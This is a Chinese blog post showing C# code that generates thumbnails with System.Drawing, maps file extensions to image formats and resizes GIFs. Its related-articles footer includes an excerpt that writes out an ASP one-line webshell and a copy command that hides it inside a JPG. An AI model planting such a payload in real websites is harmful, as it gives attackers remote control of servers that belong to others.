C#图片处理,缩略图制作

准备参数:图片文件流、文件名

方法:1.先将图片流通过System.Drawing.Image.FromStream方法转成图片对象

   2.通过图片对象.GetThumbnailImage方法生成自定义长宽的缩略图。

生成方法:

缩略图生成:

/// <summary>
    /// 缩略图
    /// shidd
    /// </summary>
    /// <param name="myStream">文件流</param>
    /// <param name="serverUrl">文件名</param>
    /// <returns>字节数组</returns>
    private byte[] toImage(Stream myStream, string serverUrl)
    {
        //生成缩略图
        //创建改变后的Stream
        var stream = new System.IO.MemoryStream();
        //取得后缀名
        string suffix = serverUrl.Substring(serverUrl.LastIndexOf("."));
        //创建一个图像对象取得上传图片对象
        System.Drawing.Image myImage = System.Drawing.Image.FromStream(myStream, false);
        //int percentage= myImage.Height / myImage.Width;//原图片比例
        //由上传图片产生一个缩略图(600*400)
        System.Drawing.Image thumbImage = myImage.GetThumbnailImage(600, 400, null, System.IntPtr.Zero);
        //保存缩略图到Stream流
        thumbImage.Save(stream, this.getImageFormat(suffix));
        //关闭缩略图对象
        thumbImage.Dispose();
        return stream.ToArray();
    }

图片格式:

 /// <summary>
    /// 图片格式
    /// </summary>
    /// <param name="suffix">文件后缀</param>
    /// <returns></returns>
    private System.Drawing.Imaging.ImageFormat getImageFormat(string suffix)
    {
        System.Drawing.Imaging.ImageFormat myFormat;
        switch (suffix.ToLower())
        {
            case ".bmp":
                myFormat = System.Drawing.Imaging.ImageFormat.Bmp;
                break;
            case ".emf":
                myFormat = System.Drawing.Imaging.ImageFormat.Emf;
                break;
            case ".exif":
                myFormat = System.Drawing.Imaging.ImageFormat.Exif;
                break;
            case ".gif":
                myFormat = System.Drawing.Imaging.ImageFormat.Gif;
                break;
            case ".icon":
                myFormat = System.Drawing.Imaging.ImageFormat.Icon;
                break;
            case ".jpeg":
            case ".jpg":
                myFormat = System.Drawing.Imaging.ImageFormat.Jpeg;
                break;
            case ".png":
                myFormat = System.Drawing.Imaging.ImageFormat.Png;
                break;
            case ".tiff":
                myFormat = System.Drawing.Imaging.ImageFormat.Tiff;
                break;
            case ".wmf":
                myFormat = System.Drawing.Imaging.ImageFormat.Wmf;
                break;
            default:
                myFormat = System.Drawing.Imaging.ImageFormat.MemoryBmp;
                break;
        }
        return (myFormat);
    }

调用:

 //调用缩略图方法
                        bytes = toImage(ms, ServerUrl);

GIF图缩略(注:缩略后图片不能动了,求高手指点)

 // <summary>
    /// 为GIF图片生成缩略图
    /// </summary>
    /// <param name="phyPath">原图片的路径</param>
    /// <param name="width">缩略图宽</param>
    /// <param name="height">缩略图高</param>
    /// <returns></returns>
    public byte[] GetThumbnail(Stream myStream, int width, int height)
    {
        //创建改变后的Stream
        var stream = new System.IO.MemoryStream();
        //创建一个图像对象取得上传图片对象
        System.Drawing.Image myImage = System.Drawing.Image.FromStream(myStream, false);
        System.Drawing.Bitmap bmp = new System.Drawing.Bitmap(width, height);
        //从Bitmap创建一个System.Drawing.Graphics
        System.Drawing.Graphics gr = System.Drawing.Graphics.FromImage(bmp);
        //设置
        gr.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
        //下面这个也设成高质量
        gr.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
        //下面这个设成High
        gr.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
        //把原始图像绘制成上面所设置宽高的缩小图
        System.Drawing.Rectangle rectDestination = new System.Drawing.Rectangle(0, 0, width, height);

        gr.DrawImage(myImage, rectDestination, 0, 0, myImage.Width, myImage.Height, System.Drawing.GraphicsUnit.Pixel);
        myImage.Save(stream, System.Drawing.Imaging.ImageFormat.Jpeg);
        return stream.ToArray();
    }

时间: 2024-10-15 12:20:48

C#图片处理,缩略图制作的相关文章

JS获取图片的缩略图,并且动态的加载多张图片

找了好多资料也没有找到该死的ie的解决办法,最后放弃了ie <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>js获取缩略图</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <st

一句话图片木马的制作与使用方法

之前也写了个一句话木马的使用方法在回帖中有人提出问题如何在图片中插入一句话木马于是为了方便各位在此开一帖一句话图片木马的使用方法 第一种方法:利用copy命令详细操作为1.随便找一张图片 名字改成1.jpg(名字改为1.jpg只是为了方便记忆和输入 文件的后缀随意 只要是图片的格式就可以了)2.<%eval request("keio")%>           存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a 2.jpg      存为

WordPress 后台文章列表设置文章特色图片(缩略图)集成版

functions.php添加以下代码 /** * WordPress 后台文章列表设置文章特色图片(缩略图)集成版 * Plugin Name: Easy Thumbnail Switcher */ class doocii_Easy_Thumbnail_Switcher { public $add_new_str; public $change_str; public $remove_str; public $upload_title; public $upload_add; public

android实现视频图片取缩略图

取缩略图不等同于缩放图片. 缩放图片是保持不失真的情况下缩放处理,并进行平滑处理. 缩略图则不然,允许失真,目的只是取出图片的轮廓. 保存Bitmap图片 private void saveBitmap(Bitmap bm,String picName) { Log.e(TAG, "保存图片"); String icon_dir=mMedialist.get(mMedialist.size()-1).getIconpath().replace("/", "

Android 简单图片浏览器 读取sdcard图片+形成缩略图+Gallery

1.读取SD卡上面的图片信息 //想要的返回值所在的列 String[] projection = { MediaStore.Images.Thumbnails._ID}; //图片信息存储在 android.provider.MediaStore.Images.Thumbnails数据库 //快速查询数据库中的图片对应存放路劲 Cursor cursor = managedQuery( MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI, pro

Adobe Fireworks CS6是一款集网页图片设计、制作与编辑为一体的专业软件

Adobe Fireworks CS6是一款集网页图片设计.制作与编辑为一体的专业软件,它不仅可以轻松制作出各种动感的Gif.动态按钮.动态翻转等网络图片,还可以轻松实现大图切割,让网页加载的图片显示速度变得更快,也可为用户在瞬间制作出精美的矢量和点阵图.模型.3D 图形和交互式内容提供平台,软件最大的好处在于无需编码,可直接应用于网页和移动应用程序.Fireworks CS6充分利用高效的jQuery,使其支持移动主题的制作,包括从设计组件中添加 CSS Sprite 图像的功能,内置适用于W

DEDECMS删除 提取第一个图片为缩略图 自动勾选默认选择设置方法

设置方法步骤: 第一步:登录FTP,依次找到 / dede / templets / article_add.htm 第二步:右击 article_add.htm 打开“编辑”.搜索并找到“删除非站内链接 1 <input name="autolitpic" type="checkbox" class="np" id="autolitpic" value="1"<?php if($cfg_arc

提取编辑中的图片生成缩略图

<img id="thumb_img" style="width:100px; height:100px; border:1px #ccc solid; margin-top: 15px" src=""> <input id="img" type="hidden" name="thumb_img" value=""> <span>

nginx实现本地图片生成缩略图

nginx可以实现图片的缩略图效果,很多网站为了前端静态资源相应的性能会给大图自动生成一个小图,比如我们经常会在网上看到bd_64x64.png这种格式,淘宝上的小图经常会看到xxx.jpg_100x100xz.jpg这种格式,也是缩略图的应用:接下来在nginx中实现缩略图效果 首先查看nginx在安装时开启了哪些模块,使用 ./nginx -V 可以查看模块开启情况,更准确的说是将安装nginx时编译阶段执行的 ./configure 命令的原样输出,如果编译的时候添加了 --with-ht